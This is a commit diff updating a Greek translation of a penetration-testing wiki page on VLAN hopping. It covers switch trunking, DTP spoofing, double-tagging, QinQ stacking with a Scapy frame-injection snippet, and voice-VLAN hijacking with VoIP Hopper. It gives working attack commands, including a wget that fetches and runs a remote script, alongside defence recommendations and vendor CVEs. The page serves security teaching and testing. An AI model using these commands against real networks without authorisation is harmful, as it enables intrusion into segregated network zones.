Translated ['src/generic-methodologies-and-resources/pentesting-network/

This commit is contained in:
Translator 2025-08-18 12:39:10 +00:00
parent c8bc6ab154
commit 0b7cfa1ed5

View File

@ -20,10 +20,11 @@ SW1(config)# interface GigabitEthernet 0/2
SW1(config-if)# switchport trunk encapsulation dot1q
SW1(config-if)# switchport mode trunk
```
Η αλλαγή σε λειτουργία trunk θα διαταράξει προσωρινά τη συνδεσιμότητα, αλλά αυτή μπορεί να αποκατασταθεί στη συνέχεια.
Η αλλαγή σε λειτουργία trunk θα διαταράξει προσωρινά τη συνδεσιμότητα, αλλά αυτό μπορεί να αποκατασταθεί στη συνέχεια.
Στη συνέχεια δημιουργούνται εικονικές διεπαφές, ανατίθενται VLAN IDs και ενεργοποιούνται:
```bash
# Legacy (vconfig) still works but deprecated in modern kernels
sudo vconfig add eth0 10
sudo vconfig add eth0 20
sudo vconfig add eth0 50
@ -32,27 +33,36 @@ sudo ifconfig eth0.10 up
sudo ifconfig eth0.20 up
sudo ifconfig eth0.50 up
sudo ifconfig eth0.60 up
# Modern (ip-link preferred)
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.10 type vlan id 10
sudo ip link add link eth0 name eth0.20 type vlan id 20
sudo ip link set eth0.10 up
sudo ip link set eth0.20 up
sudo dhclient -v eth0.50
sudo dhclient -v eth0.60
```
Στη συνέχεια, γίνεται ένα αίτημα διεύθυνσης μέσω DHCP. Εναλλακτικά, σε περιπτώσεις όπου το DHCP δεν είναι εφικτό, οι διευθύνσεις μπορούν να ρυθμιστούν χειροκίνητα:
```bash
sudo dhclient -v eth0.10
sudo dhclient -v eth0.20
sudo dhclient -v eth0.50
sudo dhclient -v eth0.60
```
Παράδειγμα για την χειροκίνητη ρύθμιση μιας στατικής διεύθυνσης IP σε μια διεπαφή (VLAN 10):
```bash
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
# or
sudo ip addr add 10.10.10.66/24 dev eth0.10
```
Η συνδεσιμότητα ελέγχεται με την εκκίνηση αιτημάτων ICMP προς τις προεπιλεγμένες πύλες για τα VLAN 10, 20, 50 και 60.
Τελικά, αυτή η διαδικασία επιτρέπει την παράκαμψη της κατακερματισμένης VLAN, διευκολύνοντας έτσι την απεριόριστη πρόσβαση σε οποιοδήποτε δίκτυο VLAN και προετοιμάζοντας το έδαφος για επόμενες ενέργειες.
Τελικά, αυτή η διαδικασία επιτρέπει την παράκαμψη της κατανομής VLAN, διευκολύνοντας έτσι την απεριόριστη πρόσβαση σε οποιοδήποτε δίκτυο VLAN και προετοιμάζοντας το έδαφος για επόμενες ενέργειες.
---
## Άλλες Τεχνικές VLAN-Hopping (χωρίς προνομιακή CLI διακόπτη)
Η προηγούμενη μέθοδος υποθέτει ότι υπάρχει αυθεντικοποιημένη πρόσβαση κονσόλας ή Telnet/SSH στον διακόπτη. Σε πραγματικές καταστάσεις, ο επιτιθέμενος είναι συνήθως συνδεδεμένος σε μια **κανονική θύρα πρόσβασης**. Οι παρακάτω Layer-2 κόλπα συχνά σας επιτρέπουν να μετακινηθείτε οριζόντια χωρίς ποτέ να συνδεθείτε στο λειτουργικό σύστημα του διακόπτη:
Η προηγούμενη μέθοδος υποθέτει ότι υπάρχει αυθεντικοποιημένη πρόσβαση κονσόλας ή Telnet/SSH στον διακόπτη. Στις πραγματικές περιπτώσεις, ο επιτιθέμενος είναι συνήθως συνδεδεμένος σε μια **κανονική θύρα πρόσβασης**. Οι παρακάτω Layer-2 κόλπα συχνά σας επιτρέπουν να μετακινηθείτε οριζόντια χωρίς ποτέ να συνδεθείτε στο λειτουργικό σύστημα του διακόπτη:
### 1. Switch-Spoofing με Πρωτόκολλο Δυναμικής Σύνδεσης (DTP)
@ -61,22 +71,29 @@ sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
*Yersinia* και αρκετές PoCs αυτοματοποιούν τη διαδικασία:
```bash
# Become a trunk using Yersinia (GUI)
$ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
# Python PoC (dtp-spoof)
$ git clone https://github.com/fleetcaptain/dtp-spoof.git
$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
git clone https://github.com/fleetcaptain/dtp-spoof.git
sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
```
Μόλις η θύρα αλλάξει σε trunk, μπορείτε να δημιουργήσετε υποδιευθύνσεις 802.1Q και να κάνετε pivot ακριβώς όπως φαίνεται στην προηγούμενη ενότητα. Οι σύγχρονοι πυρήνες Linux δεν απαιτούν πια το *vconfig*; αντί αυτού χρησιμοποιήστε το *ip link*:
Recon helper (παθητική αναγνώριση της κατάστασης DTP της θύρας):
```bash
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.30 type vlan id 30
sudo ip addr add 10.10.30.66/24 dev eth0.30
sudo ip link set eth0.30 up
```
### 2. Διπλή Ετικέτα (Κατάχρηση Native-VLAN)
Εάν ο επιτιθέμενος βρίσκεται στο **native (χωρίς ετικέτα) VLAN**, ένα κατασκευασμένο πλαίσιο με *δύο* 802.1Q κεφαλίδες μπορεί να "πηδήξει" σε ένα δεύτερο VLAN ακόμη και όταν η θύρα είναι κλειδωμένη σε λειτουργία πρόσβασης. Εργαλεία όπως το **VLANPWN DoubleTagging.py** (ανανεωμένο 2022-2024) αυτοματοποιούν την ένεση:
# or
wget https://gist.githubusercontent.com/mgeeky/3f678d385984ba0377299a844fb793fa/raw/dtpscan.py
sudo python3 dtpscan.py -i eth0
```
Μόλις η θύρα αλλάξει σε trunk, μπορείτε να δημιουργήσετε υποδιευθύνσεις 802.1Q και να κάνετε pivot ακριβώς όπως φαίνεται στην προηγούμενη ενότητα.
### 2. Double-Tagging (Κατάχρηση Native-VLAN)
Εάν ο επιτιθέμενος βρίσκεται στο **native (untagged) VLAN**, ένα κατασκευασμένο πλαίσιο με *δύο* κεφαλίδες 802.1Q μπορεί να μεταπηδήσει σε μια δεύτερη VLAN ακόμη και όταν η θύρα είναι κλειδωμένη σε access mode. Εργαλεία όπως το **VLANPWN DoubleTagging.py** (ανανεωμένο 2022-2025) αυτοματοποιούν την ένεση:
```bash
python3 DoubleTagging.py \
--interface eth0 \
@ -85,15 +102,9 @@ python3 DoubleTagging.py \
--victim 10.10.20.24 \
--attacker 10.10.1.54
```
Packet walk-through:
1. Η εξωτερική ετικέτα (1) αφαιρείται από τον πρώτο διακόπτη επειδή ταιριάζει με το εγγενές VLAN.
2. Η εσωτερική ετικέτα (20) είναι τώρα εκτεθειμένη; το πλαίσιο προωθείται προς το trunk προς το VLAN 20.
Η τεχνική εξακολουθεί να λειτουργεί το 2025 σε δίκτυα που αφήνουν το εγγενές VLAN στην προεπιλογή και δέχονται μη ετικετοποιημένα πλαίσια.
### 3. QinQ (802.1ad) Stacking
Πολλοί πυρήνες επιχειρήσεων υποστηρίζουν *Q-in-Q* υπηρεσία παρόχου ενσωμάτωσης. Όπου επιτρέπεται, ένας επιτιθέμενος μπορεί να σήκώσει τυχαία 802.1Q-ετικετοποιημένη κίνηση μέσα σε έναν πάροχο (S-tag) για να διασχίσει ζώνες ασφαλείας. Συλλέξτε για 802.1ad ethertype 0x88a8 και προσπαθήστε να αφαιρέσετε την εξωτερική ετικέτα με το Scapy:
Πολλοί πυρήνες επιχειρήσεων υποστηρίζουν την *Q-in-Q* ενσωμάτωση παρόχου υπηρεσιών. Όπου επιτρέπεται, ένας επιτιθέμενος μπορεί να σήμανε τυχαία 802.1Q-σημασμένη κίνηση μέσα σε έναν πάροχο (S-tag) για να διασχίσει ζώνες ασφαλείας. Συλλέξτε για ethertype `0x88a8` και προσπαθήστε να αφαιρέσετε την εξωτερική ετικέτα με το Scapy:
```python
from scapy.all import *
outer = 100 # Service tag
@ -102,15 +113,43 @@ payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/
frame = Dot1Q(type=0x88a8, vlan=outer)/payload
sendp(frame, iface="eth0")
```
### 4. Voice-VLAN Hijacking via LLDP/CDP (IP-Phone Spoofing)
Οι εταιρικές θύρες πρόσβασης συχνά βρίσκονται σε μια *“access + voice”* ρύθμιση: μη επισημασμένο VLAN δεδομένων για τον υπολογιστή και ένα επισημασμένο VLAN φωνής που διαφημίζεται μέσω CDP ή LLDP-MED. Με την προσποίηση ενός IP τηλεφώνου, ο επιτιθέμενος μπορεί αυτόματα να ανακαλύψει και να εισέλθει στο VLAN VoIP—ακόμα και όταν το DTP είναι απενεργοποιημένο.
*VoIP Hopper* (πακεταρισμένο στο Kali 2025.2) υποστηρίζει CDP, DHCP options **176/242**, και πλήρη προσποίηση LLDP-MED:
```bash
# One-shot discovery & hop
sudo voiphopper -i eth0 -f cisco-7940
# Interactive Assessment Mode (passive sniff → auto-hop when VVID learnt)
sudo voiphopper -i eth0 -z
# Result: new sub-interface eth0.<VVID> with a DHCP or static address inside the voice VLAN
```
Η τεχνική παρακάμπτει τον διαχωρισμό δεδομένων/φωνής και είναι εξαιρετικά κοινή σε διακόπτες επιχείρησης το 2025 επειδή η LLDP auto-policy είναι ενεργοποιημένη από προεπιλογή σε πολλά μοντέλα.
---
## Συστάσεις Άμυνας
1. Απενεργοποιήστε το DTP σε όλες τις θύρες που απευθύνονται στους χρήστες: `switchport mode access` + `switchport nonegotiate`.
2. Αλλάξτε το εγγενές VLAN σε κάθε trunk σε ένα **μη χρησιμοποιούμενο, μαύρο VLAN** και προσθέστε ετικέτα: `vlan dot1q tag native`.
3. Αφαιρέστε τα περιττά VLAN σε trunks: `switchport trunk allowed vlan 10,20`.
4. Επιβάλετε ασφάλεια θύρας, DHCP snooping & δυναμική επιθεώρηση ARP για να περιορίσετε τη δραστηριότητα Layer-2 που είναι κακόβουλη.
5. Προτιμήστε τα private-VLANs ή τη L3 διαχωριστική γραμμή αντί να βασίζεστε αποκλειστικά στη διαχωριστική γραμμή 802.1Q.
2. Αλλάξτε το εγγενές VLAN σε κάθε trunk σε ένα **μη χρησιμοποιούμενο, black-hole VLAN** και επισημάνετε το: `vlan dot1q tag native`.
3. Αφαιρέστε τα περιττά VLANs από τα trunks: `switchport trunk allowed vlan 10,20`.
4. Επιβάλετε ασφάλεια θύρας, DHCP snooping, δυναμική επιθεώρηση ARP **και 802.1X** για να περιορίσετε τη δραστηριότητα κακόβουλου Layer-2.
5. Απενεργοποιήστε τις αυτόματες πολιτικές φωνής LLDP-MED (ή κλειδώστε τις σε αυθεντικοποιημένα MAC OUIs) αν η παραποίηση IP-τηλεφώνου δεν απαιτείται.
6. Προτιμήστε τα private-VLANs ή τον L3 διαχωρισμό αντί να βασίζεστε αποκλειστικά στον διαχωρισμό 802.1Q.
---
## Ευπάθειες Πωλητών στον Πραγματικό Κόσμο (2022-2024)
Ακόμα και μια τέλεια σκληρυμένη διαμόρφωση διακόπτη μπορεί να υπονομευθεί από σφάλματα firmware. Πρόσφατα παραδείγματα περιλαμβάνουν:
* **CVE-2022-20728† Cisco Aironet/Catalyst Access Points** επιτρέπουν την ένεση από το εγγενές VLAN σε μη εγγενή WLAN VLANs, παρακάμπτοντας τον ενσύρματο/ασύρματο διαχωρισμό.
* **CVE-2024-20465 (Cisco IOS Industrial Ethernet)** επιτρέπει την παράκαμψη ACL σε SVIs μετά την εναλλαγή του Resilient Ethernet Protocol, διαρρέοντας την κυκλοφορία μεταξύ VRFs/VLANs. Ενημέρωση 17.9.5 ή νεότερη.
Πάντα παρακολουθείτε τις συμβουλές των προμηθευτών για ζητήματα παράκαμψης/ACL που σχετίζονται με VLAN και διατηρείτε τις εικόνες υποδομής ενημερωμένες.
---
@ -118,6 +157,8 @@ sendp(frame, iface="eth0")
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
- VLANPWN attack toolkit <https://github.com/casterbytethrowback/VLANPWN>
- Twingate "Τι είναι το VLAN Hopping;" (Αυγ 2024) <https://www.twingate.com/blog/glossary/vlan%20hopping>
- Twingate "What is VLAN Hopping?" (Aug 2024) <https://www.twingate.com/blog/glossary/vlan%20hopping>
- VoIP Hopper project <https://github.com/hmgh0st/voiphopper>
- Cisco Advisory “cisco-sa-apvlan-TDTtb4FY” <https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apvlan-TDTtb4FY>
{{#include ../../banners/hacktricks-training.md}}